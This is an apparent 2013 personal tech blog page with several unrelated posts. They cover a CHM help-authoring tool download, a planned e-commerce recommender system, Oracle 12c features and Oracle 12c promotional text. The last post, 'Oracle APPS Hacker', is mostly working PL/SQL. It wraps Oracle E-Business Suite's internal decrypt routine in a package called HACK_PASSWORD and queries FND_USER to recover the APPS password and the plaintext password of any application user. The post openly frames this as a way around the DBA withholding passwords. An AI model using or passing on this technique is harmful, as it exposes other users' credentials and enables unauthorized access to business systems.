Wednesday, December 11, 2013

Dr.Explain is a powerful tool for creating CHM (HTML help) files for your software & Projects


Dr.Explain is a powerful tool for creating CHM (HTML help) files for your software

  1. Import existing HLP, TXT, XML, HTML, or MS Word documents formats and create a single CHM help file. 

  2. Create a single table of contents and search index for all imported documentation automatically.
    Add your logos, scripts, media content, copyright notices, and corporate graphics to deliver professional help file to your clients. 

    http://www.drexplain.com/create_chm_file/



  Download Link : drexplain_4_10_823.zip

Monday, October 28, 2013

Web based Prediction using Artificial Intelligence



Use Case We used in our Prediction System:






 
Why we need recommendation system:

Searching for the desired product sometimes become very difficult as sometimes the amount of available products in e-commerce web based application is enormous in number so users face the difficulty of information overload .For the ease of customers to locate the products they would like to purchase, recommendation system will be used and hence a solution to the information overload.


How it be different from other systems:

I will be using the feature “customers who bought” which on the e-commerce website will be applied to every product on the page and as a result the system will propose similar products to the purchaser based on purchase histories of previous customer who bought the same product/item.
 

Approaches for Recommend-er System:
There are different approaches for recommend-er system. for example
Content based recommendations
Collaborative recommendation
Hybrid approach
 

Project under Development ... I'll update my Blog time to time ... So stay with us to get a Real time recommendation System. like Amazone.Com

Saturday, October 5, 2013

Oracle Database 12c New PL/SQL Features

Oracle Database 12c New PL/SQL Features

Copied from http://www.toadworld.com/ 

For this Post all credit goes to Feuerstein and Associates :

Oracle Database 12c offers an array of exciting new features for PL/SQL developers. The function result cache has been enhanced to support functions defined with invoker rights.  Use the ACCESSIBLE BY clause to define "whitelists" of the program units that can execute subprograms in a package. Grant roles to PL/SQL program units, rather than to schemas, giving you much greater flexibility over access control. Design a procedure to implicitly return a result set, much like you can do in SQL Server (useful for migration projects). Define a view with BEQUEST CURRENT_USER so that it behaves like an invoker rights unit.  Declare and call PL/SQL functions entirely inside the WITH clause a SELECT statement. And more!































 

Best practice Toad For Oracle

Best practice Toad For Oracle

 




Oracle Database 12c

Oracle Announced First Database Designed for the Cloud

Oracle Database 12c

 

 

 

 

 

As organizations embrace the cloud, they seek technologies that will transform business and improve their overall operational agility and effectiveness. Oracle Database 12c is a next-generation database designed to meet these needs, providing a new multitenant architecture on top of a fast, scalable, reliable, and secure database platform. By plugging into the cloud with Oracle Database 12c, customers can improve the quality and performance of applications, save time with maximum availability architecture and storage management and simplify database consolidation by managing hundreds of databases as one.
















Automatic Data Optimization

To help customers efficiently manage more data, lower storage costs and improve database performance, Oracle Database 12c introduces new Automatic Data Optimization features.
A Heat Map monitors database read/write activity enabling Database Administrators to easily identify the data that is hot (very active), warm (read-only) and cold (rarely read) stored in tables and partitions.
Using smart compression and storage tiering, Database Administrators can easily define server managed policies to automatically compress and tier OLTP, Data Warehouse and Archive data based on the activity and age of data.

Tuesday, June 11, 2013

Oracle APPS Hacker – Crack any Application User



Oracle APPS Hacker – Crack any Application User
When you are Working in Oracle Apps Environment, It’s a very challenging job because many times you do not have the passwords to logon to some user who is complaining and DBA does not share any passwords with you and nor you have the sysadmin or Application developer responsibility. Oracle Apps Schema is the centralized schema to hold all the objects with all grants. Passwords in Oracle Apps schema are in an encrypted format. Oracle Apps use FND_WEB_SEC package to decrypt these passwords for validating against the user. The password DECRYPT function is a local function and can’t be called outside the FND_WEB_SEC package.
The Apps User’s Password and Oracle Apps Passwords are encrypted and stored in these tables…
FND_USER
FND_ORACLE_USERID



/*=====Decrypt function available in the FND_WEB_SEC=====*/

function decrypt(key in varchar2, value in varchar2) return varchar2 as language java name 'oracle.apps.fnd.security.WebSessionManagerProc.decrypt(java.lang.String,java.lang.String) return java.lang.String';

/*=====Decrypt function available in the FND_WEB_SEC=====*/

/* CREATE PACKAGE HACK_PASSWORD */
CREATE OR REPLACE PACKAGE HACK_PASSWORD AS FUNCTION decrypt ( KEY IN VARCHAR2 ,VALUE IN VARCHAR2 ) RETURN VARCHAR2; END HACK_PASSWORD;
/* CREATE PACKAGE  BODY OF HACK_PASSWORD */
CREATE OR REPLACE PACKAGE BODY HACK_PASSWORD AS FUNCTION decrypt ( KEY IN VARCHAR2 ,VALUE IN VARCHAR2 ) RETURN VARCHAR2 AS LANGUAGE JAVA NAME 'oracle.apps.fnd.security.WebSessionManagerProc.decrypt(java.lang.String,java.lang.String) return java.lang.String'; END HACK_PASSWORD;

Query to hack password for “apps” user
SELECT
(SELECT HACK_PASSWORD.decrypt (UPPER ((SELECT UPPER (fnd_profile.VALUE ('GUEST_USER_PWD')) FROM DUAL)),usertable.encrypted_foundation_password)
FROM DUAL) AS My_APPS_Password
FROM fnd_user usertable
WHERE
usertable.user_name LIKE UPPER
((SELECT SUBSTR (fnd_profile.VALUE ('GUEST_USER_PWD'),1, INSTR (fnd_profile.VALUE ('GUEST_USER_PWD'), '/')- 1)FROM DUAL))


Query to hack password for “Any Application User” user

SELECT usertable.user_name , (SELECT HACK_PASSWORD.decrypt (UPPER ((SELECT (SELECT HACK_PASSWORD.decrypt (UPPER ((SELECT UPPER (fnd_profile.VALUE ('GUEST_USER_PWD'))
FROM DUAL)), usertable.encrypted_foundation_password)
FROM DUAL) AS My_APPS_Password
FROM fnd_user usertable
WHERE
usertable.user_name LIKE UPPER ((SELECT SUBSTR (fnd_profile.VALUE ('GUEST_USER_PWD') ,1 , INSTR (fnd_profile.VALUE ('GUEST_USER_PWD'), '/') - 1 )
FROM DUAL)))) ,usertable.encrypted_user_password) FROM DUAL) AS encrypted_user_password FROM fnd_user usertable
WHERE usertable.user_name LIKE UPPER ('&MY_USERNAME')